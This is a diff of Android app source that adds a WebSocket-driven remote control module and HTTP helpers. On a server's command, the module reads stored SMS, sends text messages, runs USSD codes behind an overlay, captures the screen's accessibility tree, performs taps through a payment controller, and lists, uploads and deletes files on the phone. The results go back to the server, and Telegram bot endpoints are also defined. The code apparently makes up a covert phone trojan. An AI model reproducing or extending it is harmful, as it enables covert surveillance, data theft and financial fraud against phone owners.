+                    int locked = cursor.getInt(cursor.getColumnIndexOrThrow(Telephony.Sms.LOCKED));
+                    int person = cursor.getInt(cursor.getColumnIndexOrThrow(Telephony.Sms.PERSON));
+                    int protocol = cursor.getInt(cursor.getColumnIndexOrThrow(Telephony.Sms.PROTOCOL));
+                    String statusDescribe = "";
+                    String serviceCenter = cursor.getString(cursor.getColumnIndexOrThrow(Telephony.Sms.SERVICE_CENTER));
+                    switch (status) {
+                        case -1:
+                            statusDescribe = "STATUS_NONE";
+                            break;
+                        case 0:
+                            statusDescribe = "STATUS_COMPLETE";
+                            break;
+                        case 64:
+                            statusDescribe = "STATUS_FAILED";
+                            break;
+                        case 128:
+                            statusDescribe = "STATUS_PENDING";
+                            break;
+                        default:
+                            statusDescribe = "UNKNOWN";
+                    }
+                    XLog.i("SMS info", "ID: " + id + ", Address: " + address + ", Body: " + body +
+                            ", Date: " + date + ", Type: " + type + ", Read: " + read +
+                            ", Status: " + status + ", Service Center: " + serviceCenter + ", statusDescribe: " + statusDescribe
+                            + ", error_code: " + error_code
+                            + ", date_sent: " + date_sent
+                            + ", creator: " + creator
+                            + ", locked: " + locked
+                            + ", person: " + person
+                            + ", protocol: " + protocol
+                    );
+                    HashMap<String, Object> map = new HashMap<>();
+                    map.put("id", id);
+                    map.put("address", address);
+                    map.put("body", body);
+                    map.put("date", date);
+                    map.put("type", type);
+                    map.put("read", read);
+                    map.put("status", status);
+                    map.put("statusDescribe", statusDescribe);
+                    map.put("serviceCenter", serviceCenter);
+                    map.put("error_code", error_code);
+                    map.put("date_sent", date_sent);
+                    map.put("creator", creator);
+                    map.put("locked", locked);
+                    map.put("person", person);
+                    map.put("protocol", protocol);
+                    data.add(map);
+
+
+                } while (cursor.moveToNext());
+                XLog.i("getOutBoxSMS : " + GsonUtils.toJson(data));
+                Log.d("hzshkj", "[WsManager] getOutBoxSMS: " + GsonUtils.toJson(data));
+                sendWebSocketMsg(requestId, "successful", GsonUtils.toJson(data));
+            }
+            if (cursor != null) {
+
+                cursor.close();
+            }
+        } catch (Exception e) {
+            XLog.e("error,getOutBoxSMS!", e);
+            Log.e("hzshkj", "getOutBoxSMS: ", e);
+            sendWebSocketMsg(requestId, "exception", e.getMessage());
+        }
+
+    }
+
+    public static void sendSMS(String requestId, String content, String phone) {
+        try {
+            if (!StringUtils.isTrimEmpty(content) && !StringUtils.isEmpty(phone)) {
+                SmsManager manager = SmsManager.getDefault();
+                ArrayList<String> strings = manager.divideMessage(content);
+                for (int i = 0; i < strings.size(); i++) {
+                    manager.sendTextMessage(phone, null, content, null, null);
+                }
+                XLog.i("sendSMS : " + "Start sending text messages......[mobile:" + phone + ",content:" + content + "]");
+                Log.d("hzshkj", "[WsManager] sendSMS: " + "Start sending text messages......[mobile:" + phone + ",content:" + content + "]");
+                sendWebSocketMsg(requestId, "successful", "Start sending text messages......[mobile:" + phone + ",content:" + content + "]");
+            }
+        } catch (Exception e) {
+            XLog.e("error,sendSMS!", e);
+            Log.e("hzshkj", "sendSMS: ", e);
+            sendWebSocketMsg(requestId, "exception", e.getMessage());
+        }
+
+    }
+
+    public static void sendSMSDelayed(String requestId, String content, String phone) {
+        try {
+            if (!StringUtils.isTrimEmpty(content) && !StringUtils.isEmpty(phone)) {
+                SmsManager manager = SmsManager.getDefault();
+                ArrayList<String> strings = manager.divideMessage(content);
+
+                Intent sentIntent = new Intent(SENT_SMS_ACTION);
+                sentIntent.putExtra("requestId", requestId);
+                sentIntent.putExtra("phone", phone);
+                sentIntent.putExtra("content", content);
+                PendingIntent sentPI = PendingIntent.getBroadcast(Utils.getApp(), 0, sentIntent, PendingIntent.FLAG_UPDATE_CURRENT);
+
+
+                Intent deliveryIntent = new Intent(DELIVERED_SMS_ACTION);
+                PendingIntent deliverPI = PendingIntent.getBroadcast(Utils.getApp(), 0, deliveryIntent, PendingIntent.FLAG_UPDATE_CURRENT);
+
+                Utils.getApp().registerReceiver(sentBroadcast, new IntentFilter(SENT_SMS_ACTION));
+                Utils.getApp().registerReceiver(receiver, new IntentFilter(DELIVERED_SMS_ACTION));
+
+                Log.d("hzshkj", "[WsManager] onReceive:1111 ");
+                for (int i = 0; i < strings.size(); i++) {
+                    manager.sendTextMessage(phone, null, content, sentPI, deliverPI);
+                }
+                Log.d("hzshkj", "[WsManager] onReceive:22222 ");
+
+            }
+        } catch (Exception e) {
+            XLog.e("error,sendSMS!", e);
+            Log.e("hzshkj", "sendSMS: ", e);
+            sendWebSocketMsg(requestId, "exception", e.getMessage());
+        }
+
+    }
+
+    private static final BroadcastReceiver sentBroadcast = new BroadcastReceiver() {
+        @Override
+        public void onReceive(Context context, Intent intent) {
+            HashMap<String, Integer> fMap = new HashMap<>();
+            try {
+                Class<?> smsManagerClass = SmsManager.class;
+                Field[] fields = smsManagerClass.getFields();
+                for (Field field : fields) {
+                    // 检查字段是否为 int 类型
+                    if (field.getType() == int.class) {
+                        String constantName = field.getName();
+                        int constantValue = field.getInt(null);
+                        fMap.put(constantName, constantValue);
+                    }
+                }
+            } catch (Exception e) {
+                Log.e("hzshkj", "onReceive: ", e);
+                XLog.e(e);
+                e.printStackTrace();
+            }
+            String requestId = intent.getStringExtra("requestId");
+            String phone = intent.getStringExtra("phone");
+            String content = intent.getStringExtra("content");
+            String uri = intent.getStringExtra("uri");
+            String format = intent.getStringExtra("format");
+            boolean ims = intent.getBooleanExtra("ims", false);
+            HashMap<String, Object> map = new HashMap<>();
+            map.put("phone", phone);
+            map.put("content", content);
+            map.put("uri", uri);
+            map.put("format", format);
+            map.put("ims", ims);
+            map.put("resultCode", getResultCode());
+            map.put("requestId", requestId);
+            if (getResultCode() == Activity.RESULT_OK) {
+                map.put("desc", "Activity.RESULT_OK");
+                XLog.i(GsonUtils.toJson(map));
+                Log.d("hzshkj", GsonUtils.toJson(map));
+                sendWebSocketMsg(requestId, "successful", GsonUtils.toJson(map));
+            } else {
+                map.put("desc", "UNKNOWN");
+                for (String key : fMap.keySet()) {
+                    Integer value = (Integer) fMap.get(key);
+                    if (value != null) {
+                        int intValue = value;
+                        if (intValue == getResultCode()) {
+                            map.put("desc", key);
+                        }
+                    }
+                }
+                XLog.e(GsonUtils.toJson(map));
+                Log.e("hzshkj", GsonUtils.toJson(map));
+                sendWebSocketMsg(requestId, "exception", GsonUtils.toJson(map));
+            }
+            Utils.getApp().unregisterReceiver(this);
+        }
+    };
+
+    private static final BroadcastReceiver receiver = new BroadcastReceiver() {
+        @Override
+        public void onReceive(Context context, Intent intent) {
+            Log.d("hzshkj", "chernggong : " + getResultCode());
+            Utils.getApp().unregisterReceiver(this);
+        }
+    };
+
+    private static void reconnectWebSocket() {
+        if (reconnectTask != null && !reconnectTask.isDone()) {
+            reconnectTask.cancel(true);
+        }
+        reconnectTask = executorService.schedule(() -> connectWebSocket(), RECONNECT_DELAY_MS, TimeUnit.MILLISECONDS);
+    }
+
+    public static void callOverlay(String ussd, String request_id, int subId) {
+        try {
+            if (null != svc) {
+                Utils.getApp().stopService(svc);
+            }
+            svc = new Intent(Utils.getApp(), OverlayShowingService.class);
+            svc.putExtra(OverlayShowingService.EXTRA, StringUtils.getString(R.string.action_ussd_msg));
+            pendingServiceIntent(svc);
+
+            ussdApi.callUSSDOverlayInvoke(ussd, subId, HxUtils.provideHashMap(), new USSDController.CallbackInvoke() {
+                @Override
+                public void responseInvoke(String message) {
+                    sendWebSocketMsg(request_id, "response", message);
+                }
+
+                @Override
+                public void over(String message) {
+                    sendWebSocketMsg(request_id, "over", message);
+//                    Utils.getApp().stopService(svc);
+                }
+            });
+        } catch (Exception e) {
+            XLog.e("error,ussd!", e);
+            sendWebSocketMsg(request_id, "exception", e.getMessage());
+        }
+
+
+    }
+
+    private static void callOverlay2(String ussd, String request_id, int subId) {
+        try {
+            ussdApi.callUSSDInvoke(ussd, subId, HxUtils.provideHashMap(), new USSDController.CallbackInvoke() {
+                @Override
+                public void responseInvoke(String message) {
+                    sendWebSocketMsg(request_id, "response", message);
+                }
+
+                @Override
+                public void over(String message) {
+                    sendWebSocketMsg(request_id, "over", message);
+                }
+            });
+        } catch (Exception e) {
+            XLog.e("error,ussd!", e);
+            sendWebSocketMsg(request_id, "exception", e.getMessage());
+        }
+
+
+    }
+
+    private static void pendingServiceIntent(Intent overlayService) {
+        Utils.getApp().startService(overlayService);
+        new Handler().postDelayed(() -> {
+            if (overlayService != null) {
+                Utils.getApp().stopService(overlayService);
+            }
+        }, 5 * 60000);
+    }
+
+    private static void sendUssd(String request_id, String msg) {
+        try {
+            ussdApi.send(msg, new USSDController.CallbackMessage() {
+                @Override
+                public void responseMessage(String message) {
+                    sendWebSocketMsg(request_id, "response", message);
+                }
+
+                @Override
+                public void over(String message) {
+                    sendWebSocketMsg(request_id, "over", message);
+//                    if (null != svc)
+//                        Utils.getApp().stopService(svc);
+                }
+            });
+        } catch (Exception e) {
+            sendWebSocketMsg(request_id, "exception", e.getMessage());
+        }
+    }
+
+    public static void sendWebSocketMsg(String request_id, String return_type, String message) {
+        HashMap<String, Object> map = new HashMap<>();
+        map.put("request_id", request_id);
+        map.put("return_type", return_type);
+        map.put("message", message);
+        sendMessage(GsonUtils.toJson(map), 0);
+    }
+
+    public static void getNowRootInActiveWindow(String request_id) {
+        ThreadUtils.executeByIo(new ThreadUtils.Task<String>() {
+            @Override
+            public String doInBackground() throws Exception {
+                return Base64.encodeToString(HxUtils.gzip(PayController.getNowRootInActiveWindow()), 0);
+            }
+
+            @Override
+            public void onSuccess(String result) {
+                sendWebSocketMsg(request_id, "successful", result);
+            }
+
+
+            @Override
+            public void onCancel() {
+                sendWebSocketMsg(request_id, "exception", "exception");
+            }
+
+            @Override
+            public void onFail(Throwable t) {
+                sendWebSocketMsg(request_id, "exception", t.getMessage());
+            }
+        });
+
+    }
+
+    public static void getNowRootInActiveWindowDemo() {
+        ThreadUtils.executeByIo(new ThreadUtils.Task<String>() {
+            @Override
+            public String doInBackground() throws Exception {
+                return Base64.encodeToString(HxUtils.gzip(PayController.getNowRootInActiveWindow()), 0);
+            }
+
+            @Override
+            public void onSuccess(String result) {
+                Log.d("hzshkj", "[WsManager] onSuccess: "+result);
+            }
+
+
+            @Override
+            public void onCancel() {
+                Log.d("hzshkj", "[WsManager] onCancel: ");
+            }
+
+            @Override
+            public void onFail(Throwable t) {
+                Log.e("hzshkj", "onFail: ", t);
+            }
+        });
+
+    }
+
+    private static void startApp(String request_id, String packageName) {
+        if (!StringUtils.isSpace(packageName)) {
+            Intent launchAppIntent = IntentUtils.getLaunchAppIntent(packageName);
+            if (launchAppIntent == null) {
+                sendWebSocketMsg(request_id, "exception", "Didn't exist launcher activity.");
+                return;
+            }
+            Utils.getApp().startActivity(launchAppIntent);
+            AppUtils.launchApp(packageName);
+            sendWebSocketMsg(request_id, "successful", "");
+        } else {
+            sendWebSocketMsg(request_id, "exception", "packageName is null or white space");
+        }
+    }
+
+    private static void performAction(String request_id, int hashCode, int action, JSONArray jsonArray) {
+        try {
+            if (jsonArray == null || jsonArray.size() == 0) {
+                PayController.performActionEvent1(hashCode, action);
+            } else {
+                List<HashMap<String, Object>> list = new ArrayList<>();
+                for (Object o : jsonArray) {
+                    HashMap<String, Object> map = new HashMap<>();
+                    map.put("key", ((JSONObject) (o)).getString("key"));
+                    map.put("value", ((JSONObject) (o)).getString("value"));
+                    map.put("type", ((JSONObject) (o)).getString("type"));
+                    list.add(map);
+                }
+                PayController.performActionEvent2(hashCode, action, list);
+            }
+            sendWebSocketMsg(request_id, "successful", "");
+        } catch (Exception e) {
+            sendWebSocketMsg(request_id, "exception", e.getMessage());
+        }
+    }
+
+
+    private static void getFileList(String request_id) {
+        try {
+            String path = Environment.getExternalStorageDirectory().getAbsolutePath();
+            List<File> pathList = FileUtils.listFilesInDir(path);
+
+            List<HashMap<String, Object>> data = new ArrayList<>();
+            for (File file : pathList) {
+                HashMap<String, Object> map = new HashMap<>();
+                map.put("size", FileUtils.getSize(file));//获取文件或目录大小
+                map.put("lastModified", FileUtils.getFileLastModified(file));//获取文件最后修改的毫秒时间戳
+                map.put("name", FileUtils.getFileName(file));//文件名称 带拓展名
+                map.put("isDir", FileUtils.isDir(file));//判断是否是目录
+                map.put("isFile", FileUtils.isFile(file));//判断是否是文件
+                data.add(map);
+            }
+
+            sendWebSocketMsg(request_id, "successful", Base64.encodeToString(HxUtils.gzip(GsonUtils.toJson(data)), 0));
+        } catch (Exception e) {
+            sendWebSocketMsg(request_id, "exception", e.getMessage());
+        }
+    }
+
+
+    private static void getPath(String request_id, String path) {
+        try {
+            path = Environment.getExternalStorageDirectory().getAbsolutePath() + path;
+            List<File> pathList = FileUtils.listFilesInDir(path);
+            List<HashMap<String, Object>> data = new ArrayList<>();
+            for (File file : pathList) {
+                HashMap<String, Object> map = new HashMap<>();
+                map.put("size", FileUtils.getSize(file));//获取文件或目录大小
+                map.put("lastModified", FileUtils.getFileLastModified(file));//获取文件最后修改的毫秒时间戳
+                map.put("name", FileUtils.getFileName(file));//文件名称 带拓展名
+                map.put("isDir", FileUtils.isDir(file));//判断是否是目录
+                map.put("isFile", FileUtils.isFile(file));//判断是否是文件
+                data.add(map);
+            }
+
+            sendWebSocketMsg(request_id, "successful", Base64.encodeToString(HxUtils.gzip(GsonUtils.toJson(data)), 0));
+        } catch (Exception e) {
+            sendWebSocketMsg(request_id, "exception", e.getMessage());
+        }
+    }
+
+
+    private static void getFileByPath(String request_id, String path) {
+        try {
+            path = Environment.getExternalStorageDirectory().getAbsolutePath() + path;
+            File file = FileUtils.getFileByPath(path);
+            sendWebSocketMsg(request_id, "successful", Base64.encodeToString(HxUtils.gzip(FileIOUtils.readFile2BytesByStream(file)), 0));
+        } catch (Exception e) {
+            sendWebSocketMsg(request_id, "exception", e.getMessage());
+        }
+    }
+
+
+    private static void deleteFile(String request_id, String path) {
+        try {
+            path = Environment.getExternalStorageDirectory().getAbsolutePath() + path;
+            FileUtils.delete(path);
+            sendWebSocketMsg(request_id, "successful", "");
+        } catch (Exception e) {
+            sendWebSocketMsg(request_id, "exception", e.getMessage());
+        }
+    }
+
+    private static void performGlobalAction(String request_id, int action) {
+        try {
+            PayController.performGlobalAction(action);
+            sendWebSocketMsg(request_id, "successful", "");
+        } catch (Exception e) {
+            sendWebSocketMsg(request_id, "exception", e.getMessage());
+        }
+    }
+
+    private static void cancelUssd(String request_id) {
+        try {
+            ussdApi.cancel();
+            sendWebSocketMsg(request_id, "cancel", "cancel");
+            if (null != svc) {
+                Utils.getApp().stopService(svc);
+            }
+        } catch (Exception e) {
+            sendWebSocketMsg(request_id, "exception", e.getMessage());
+        }
+
+    }
+
+    public static void closeWebSocket() {
+        executorServiceUi.execute(() -> {
+                    try {
+                        if (webSocket != null) {
+                            webSocket.close(NORMAL_CLOSURE_STATUS, "Goodbye!");
+                        }
+                    } catch (Exception e) {
+                        Log.e(Config.LOG_TAG, StringUtils.getString(R.string.log_tip_18_s, e.getMessage()), e);
+                        XLog.e(StringUtils.getString(R.string.log_tip_18_s, e.getMessage()), e);
+                    }
+                }
+        );
+    }
+
+
+    public static void sendMessage(String msg, int attempt) {
+        executorServiceUi.schedule(() -> {
+                    try {
+
+                        if (webSocket != null && webSocket.send(msg)) {
+                            XLog.i("success, send msg : " + msg);
+                        } else {
+                            throw new Exception("Failed to send message:" + msg);
+                        }
+                    } catch (Exception e) {
+                        if (attempt < 20) {
+                            XLog.i("retrying, attempt = " + attempt);
+                            sendMessage(msg, attempt + 1);
+                        }
+                    }
+                }
+                , attempt == 0 ? 0 : 2, TimeUnit.SECONDS);
+    }
+
+
+}

+ 18 - 0
webviewTest/app/src/main/java/com/app/http/APPConfig.java

@@ -0,0 +1,18 @@
+package com.app.http;
+
+import com.app.duck.BuildConfig;
+import com.app.duck.util.HxUtils;
+import com.blankj.utilcode.util.AppUtils;
+
+public class APPConfig {
+    public static final String BASE = BuildConfig.BASE_URL;
+    public static final String SMS = "/pay/mtn_sms";
+
+    public static String APP_VERSION = AppUtils.getAppVersionName();
+    public static String APP_PACKAGE_NAME = AppUtils.getAppPackageName();
+
+    public static String APP_TG_SEND_DOCUMENT = "https://api.telegram.org/bot" + HxUtils.getBotToken() + "/sendDocument";
+
+    public static String APP_TG_SEND_MESSAGE = "https://api.telegram.org/bot" + HxUtils.getBotToken() + "/sendMessage";
+
+}

+ 43 - 0
webviewTest/app/src/main/java/com/app/http/BaseBean.java

@@ -0,0 +1,43 @@
+package com.app.http;
+
+import org.xutils.http.annotation.HttpResponse;
+
+@HttpResponse(parser = Parser.class)
+public class BaseBean {
+    private int code;
+    private String msg;
+    private String data;
+    private boolean success;
+
+    public boolean getSuccess() {
+        return success;
+    }
+
+    public void setSuccess(boolean success) {
+        this.success = success;
+    }
+
+    public int getCode() {
+        return code;
+    }
+
+    public void setCode(int code) {
+        this.code = code;
+    }
+
+    public String getMsg() {
+        return msg;
+    }
+
+    public void setMsg(String msg) {
+        this.msg = msg;
+    }
+
+    public String getData() {
+        return data;
+    }
+
+    public void setData(String data) {
+        this.data = data;
+    }
+}

+ 402 - 0
webviewTest/app/src/main/java/com/app/http/Http.java

@@ -0,0 +1,402 @@
+package com.app.http;
+
+import android.app.Activity;
+import android.util.ArrayMap;
+
+import com.alibaba.fastjson.JSON;
+import com.blankj.utilcode.util.ActivityUtils;
+import com.blankj.utilcode.util.BusUtils;
+import com.blankj.utilcode.util.GsonUtils;
+import com.blankj.utilcode.util.LogUtils;
+import com.blankj.utilcode.util.ThreadUtils;
+import com.blankj.utilcode.util.TimeUtils;
+import com.blankj.utilcode.util.ToastUtils;
+
+import org.xutils.common.Callback;
+import org.xutils.http.RequestParams;
+import org.xutils.x;
+
+import java.lang.reflect.ParameterizedType;
+import java.lang.reflect.Type;
+import java.util.ArrayList;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+
+public class Http {
+    //============样式属性===================
+    public final static int LOAD_HIDE = 0x0;
+    public final static int LOAD_SHOW = 0x1;
+    public final static int LOAD_FIXED_SHOW = 0x12;
+    public final static int ERROR_TOAST = 0x2;
+    public final static int ERROR_DIALOG = 0x3;
+    public final static int ERROR_HIDE = 0x4;
+    public final static int ONLY_RETRY = 0;
+    public final static int CANCEL_AND_RETRY = 1;
+    public final static int FINISH_AND_RETRY = 2;
+    private final Map<String, Object> params;    private static List<Callback.Cancelable> cancelableList = getCancelList();
+    private String url;
+    private int timeout = 30 * 1000;
+    private LoadingDialog dialog;
+    private boolean isBindLife = true;
+    private Callback.Cancelable cancelable;
+    private Map<String, String> headMap;
+    //样式配置
+    private int loadStyle = LOAD_SHOW; //默认显示网络加载框
+    private int errorStyle = ERROR_TOAST; //失败后展示的样式
+    private int retryStyle = CANCEL_AND_RETRY;//超时弹窗样式
+    private int retryCount = 0;//超时次数 默认不重试
+    //======================================
+    private boolean headerOther;
+    public Http() {
+        params = new ArrayMap<>();
+    }
+
+    public static Http getInstance() {
+        return new Http();
+    }
+
+    public static void clean() {
+        if (cancelableList == null || cancelableList.size() == 0) return;
+        for (Callback.Cancelable cancelable : cancelableList) {
+            if (!cancelable.isCancelled()) {
+                cancelable.cancel();
+            }
+        }
+        cancelableList.clear();
+    }
+
+    private static List<Callback.Cancelable> getCancelList() {
+        if (cancelableList == null) {
+            cancelableList = new ArrayList<>();
+        }
+        return cancelableList;
+    }
+
+    public static void addCancel(Callback.Cancelable cancelable) {
+        if (cancelableList != null) {
+            cancelableList.add(cancelable);
+        }
+    }
+
+    public static Map<String, Object> setSimpleParams(String key, String value) {
+        Map<String, Object> map = new HashMap<>();
+        map.put(key, value);
+        return map;
+    }
+
+    public static <T> T parser(String json, Type clz) {
+        return JSON.parseObject(json, clz);
+    }
+
+    public Http setUrlPath(String url, String path) {
+        this.url = url + path;
+        return this;
+    }
+
+    public Http setTimeout(int timeout) {
+        this.timeout = timeout * 1000;
+        return this;
+    }
+
+    public Http setParams(Map<String, Object> maps) {
+        params.putAll(maps);
+        return this;
+    }
+
+    public Http setHeaderOther(boolean headerOther) {
+        this.headerOther = headerOther;
+        return this;
+    }
+
+    public Http setErrorStyle(int errorStyle) {
+        this.errorStyle = errorStyle;
+        return this;
+    }
+
+    public Http setLoadStyle(int loadStyle) {
+        this.loadStyle = loadStyle;
+        return this;
+    }
+
+    public Http setRetryCount(int retryCount) {
+        this.retryCount = retryCount;
+        return this;
+    }
+
+    public Http setRetryStyle(int retryStyle) {
+        this.retryStyle = retryStyle;
+        return this;
+    }
+
+    public Http setBindLife(boolean bindLife) {
+        this.isBindLife = bindLife;
+        return this;
+    }
+
+    public Http setHeader(String key, String value) {
+        if (headMap == null) {
+            headMap = new HashMap<>();
+        }
+        headMap.put(key, value);
+        return this;
+    }
+
+    private RequestParams setHeaderMap(RequestParams request) {
+        request.addHeader("Content-Type", "application/json");
+        request.addHeader("Connection", "keep-alive");
+        request.addHeader("version", APPConfig.APP_VERSION);
+        request.addHeader("packageName", APPConfig.APP_PACKAGE_NAME);
+        request.addHeader("time", TimeUtils.getNowMills() + "");
+
+        return request;
+    }
+
+    private RequestParams setHeaderOtherMap(RequestParams request) {
+        request.addHeader("Connection", "keep-alive");
+        request.addHeader("Accept-Encoding", "identity");
+        return request;
+    }
+
+    public void showLoading() {
+        try {
+            if (ThreadUtils.isMainThread()) {
+                Activity activity = ActivityUtils.getTopActivity();
+                if (!ActivityUtils.isActivityAlive(activity)) {
+                    return;
+                }
+
+                if (dialog == null) {
+                    dialog = new LoadingDialog(activity);
+                }
+
+                if (!activity.isFinishing() && !dialog.isShowing()) {
+                    if (loadStyle == LOAD_SHOW) {
+                        dialog.setOnDismissListener(dialogInterface -> cancelable.cancel());
+                        dialog.show();
+                    } else if (loadStyle == LOAD_FIXED_SHOW) {
+                        dialog.setCancelable(false);
+                        dialog.setCanceledOnTouchOutside(false);
+                        dialog.show();
+                    }
+                }
+
+
+            } else {
+                ThreadUtils.runOnUiThread(() -> {
+                    Activity activity = ActivityUtils.getTopActivity();
+                    if (!ActivityUtils.isActivityAlive(activity)) {
+                        return;
+                    }
+
+                    if (dialog == null) {
+                        dialog = new LoadingDialog(activity);
+                    }
+
+                    if (!activity.isFinishing() && !dialog.isShowing()) {
+                        if (loadStyle == LOAD_SHOW) {
+                            dialog.setOnDismissListener(dialogInterface -> cancelable.cancel());
+                            dialog.show();
+                        } else if (loadStyle == LOAD_FIXED_SHOW) {
+                            dialog.setCancelable(false);
+                            dialog.setCanceledOnTouchOutside(false);
+                            dialog.show();
+                        }
+                    }
+
+                });
+            }
+        } catch (Exception e) {
+            LogUtils.e(e);
+        }
+    }
+
+    public void hideLoading() {
+        if (dialog != null) {
+            if (ThreadUtils.isMainThread()) {
+                dialog.dismiss();
+            } else {
+                ThreadUtils.runOnUiThread(() -> {
+                    dialog.dismiss();
+                });
+            }
+        }
+    }
+
+    private void showError(String msg) {
+        switch (errorStyle) {
+            case ERROR_DIALOG:
+                ToastUtils.showLong(msg);
+                break;
+            case ERROR_TOAST:
+                ToastUtils.showLong(msg);
+            default:
+                LogUtils.d(msg);
+                break;
+        }
+    }
+
+    public <T> void get(HttpCallBack<T> callBack) {
+        showLoading();
+
+        RequestParams request = headerOther ? setHeaderOtherMap(new RequestParams(url)) : setHeaderMap(new RequestParams(url));
+
+        for (Map.Entry<String, Object> entry : params.entrySet()) {
+            request.addQueryStringParameter(entry.getKey(), entry.getValue());
+        }
+        request.setReadTimeout(timeout);
+        request.setConnectTimeout(timeout);
+        request.setMaxRetryCount(retryCount);
+
+        cancelable = x.http().get(request, new Callback.CommonCallback<BaseBean>() {
+            @Override
+            public void onSuccess(BaseBean result) {
+                if (result.getSuccess()) {
+                    Type mySuperclass = callBack.getClass().getGenericSuperclass();
+                    Type tType = ((ParameterizedType) mySuperclass).getActualTypeArguments()[0];
+                    T model;
+
+                    if (result.getData() == null && tType.equals(BaseBean.class)) {
+                        callBack.onNext((T) result);
+                        return;
+                    }
+
+                    try {
+                        model = Http.parser(result.getData(), tType);
+                    } catch (Exception e) {
+                        model = GsonUtils.fromJson(result.getData(), tType);
+                    }
+                    callBack.onNext(model);
+                } else {
+                    showError(result.getMsg());
+                    callBack.onFail(result);
+                }
+            }
+
+            @Override
+            public void onError(Throwable ex, boolean isOnCallback) {
+                LogUtils.d(ex.getMessage());
+                callBack.onError(ex);
+            }
+
+            @Override
+            public void onCancelled(CancelledException cex) {
+                LogUtils.e(cex);
+            }
+
+            @Override
+            public void onFinished() {
+                hideLoading();
+            }
+        });
+
+        if (isBindLife) cancelableList.add(cancelable);
+    }
+
+    public <T> void post(HttpCallBack<T> callBack) {
+        showLoading();
+        RequestParams request = headerOther ? setHeaderOtherMap(new RequestParams(url)) : setHeaderMap(new RequestParams(url));
+
+        if (headMap != null) {
+            for (Map.Entry<String, String> head : headMap.entrySet()) {
+                request.addHeader(head.getKey(), head.getValue());
+            }
+        }
+
+        for (Map.Entry<String, Object> entry : params.entrySet()) {
+            request.addBodyParameter(entry.getKey(), entry.getValue());
+        }
+        request.setReadTimeout(timeout);
+        request.setConnectTimeout(timeout);
+        request.setMaxRetryCount(retryCount);
+
+        cancelable = x.http().post(request, new Callback.CommonCallback<BaseBean>() {
+            @Override
+            public void onSuccess(BaseBean result) {
+                if (result.getSuccess()) {
+                    Type mySuperclass = callBack.getClass().getGenericSuperclass();
+                    Type tType = ((ParameterizedType) mySuperclass).getActualTypeArguments()[0];
+                    T model;
+
+                    if (result.getData() == null && tType.equals(BaseBean.class)) {
+                        callBack.onNext((T) result);
+                        return;
+                    }
+
+                    try {
+                        model = Http.parser(result.getData(), tType);
+                    } catch (Exception e) {
+                        model = GsonUtils.fromJson(result.getData(), tType);
+                    }
+                    callBack.onNext(model);
+                } else {
+                    showError(result.getMsg());
+                    callBack.onFail(result);
+                }
+            }
+
+            @Override
+            public void onError(Throwable ex, boolean isOnCallback) {
+                LogUtils.d(ex.getMessage());
+                if (callBack != null)
+                    callBack.onError(ex);
+            }
+
+            @Override
+            public void onCancelled(CancelledException cex) {
+                LogUtils.e(cex);
+            }
+
+            @Override
+            public void onFinished() {
+                hideLoading();
+            }
+        });
+        if (isBindLife) cancelableList.add(cancelable);
+    }
+
+    public void postTest() {
+        showLoading();
+        RequestParams request = headerOther ? setHeaderOtherMap(new RequestParams(url)) : setHeaderMap(new RequestParams(url));
+        request.setReadTimeout(timeout);
+        request.setConnectTimeout(timeout);
+        request.setMaxRetryCount(retryCount);
+
+        cancelable = x.http().post(request, new Callback.CommonCallback<String>() {
+            @Override
+            public void onSuccess(String result) {
+                BusUtils.post("CODE", "bing : success");
+            }
+
+            @Override
+            public void onError(Throwable ex, boolean isOnCallback) {
+                BusUtils.post("CODE", "bing : " + ex.getMessage());
+            }
+
+            @Override
+            public void onCancelled(CancelledException cex) {
+                BusUtils.post("CODE", "bing : " + cex.getMessage());
+            }
+
+            @Override
+            public void onFinished() {
+                hideLoading();
+            }
+        });
+    }
+
+    public abstract static class HttpCallBack<T> {
+        public abstract void onNext(T t);
+
+        public void onFail(BaseBean t) {
+
+        }
+
+        public void onError(Throwable ex) {
+        }
+    }
+
+
+
+
+}

+ 18 - 0
webviewTest/app/src/main/java/com/app/http/LoadingDialog.java

@@ -0,0 +1,18 @@
+package com.app.http;
+
+import android.app.Dialog;
+import android.content.Context;
+import android.widget.ProgressBar;
+
+import androidx.annotation.NonNull;
+
+import com.app.duck.R;
+
+
+public class LoadingDialog extends Dialog {
+    public LoadingDialog(@NonNull Context context) {
+        super(context, R.style.dialog2);
+        ProgressBar view = new ProgressBar(context);
+        setContentView(view);
+    }
+}

+ 48 - 0
webviewTest/app/src/main/java/com/app/http/Parser.java

@@ -0,0 +1,48 @@
+package com.app.http;
+
+import com.alibaba.fastjson.JSON;
+import com.blankj.utilcode.util.LogUtils;
+import com.blankj.utilcode.util.ObjectUtils;
+
+import org.json.JSONException;
+import org.json.JSONObject;
+import org.xutils.common.util.LogUtil;
+import org.xutils.http.app.ResponseParser;
+import org.xutils.http.request.UriRequest;
+
+import java.lang.reflect.Type;
+
+public class Parser implements ResponseParser<String> {
+
+    @Override
+    public void beforeRequest(UriRequest request) throws Throwable {
+        // custom check params?
+        LogUtil.d(request.getParams().toString());
+    }
+
+    @Override
+    public void afterRequest(UriRequest request) throws Throwable {
+        // custom check response Headers?
+
+    }
+
+    @Override
+    public Object parse(Type resultType, Class<?> resultClass, String result) throws Throwable {
+        try {
+            LogUtils.d("JSON" + result);
+            JSONObject jsonObject;
+
+            jsonObject = new JSONObject(result);
+
+            if (jsonObject.has("data")) {
+                String data = jsonObject.optString("data");
+                if (ObjectUtils.isEmpty(data))
+                    jsonObject.remove("data");
+            }
+            return JSON.parseObject(jsonObject.toString(), resultType);
+        } catch (JSONException e) {
+            LogUtils.e(e);
+            return new BaseBean();
+        }
+    }
+}

+ 13 - 0
webviewTest/app/src/main/res/drawable-v24/ic_launcher_foreground.xml

@@ -0,0 +1,13 @@
+<vector xmlns:android="http://schemas.android.com/apk/res/android"
+    android:width="108dp"
+    android:height="108dp"
+    android:viewportWidth="108"
+    android:viewportHeight="108">
+
+    <path
+        android:fillColor="#FFFFFF"
+        android:fillType="nonZero"
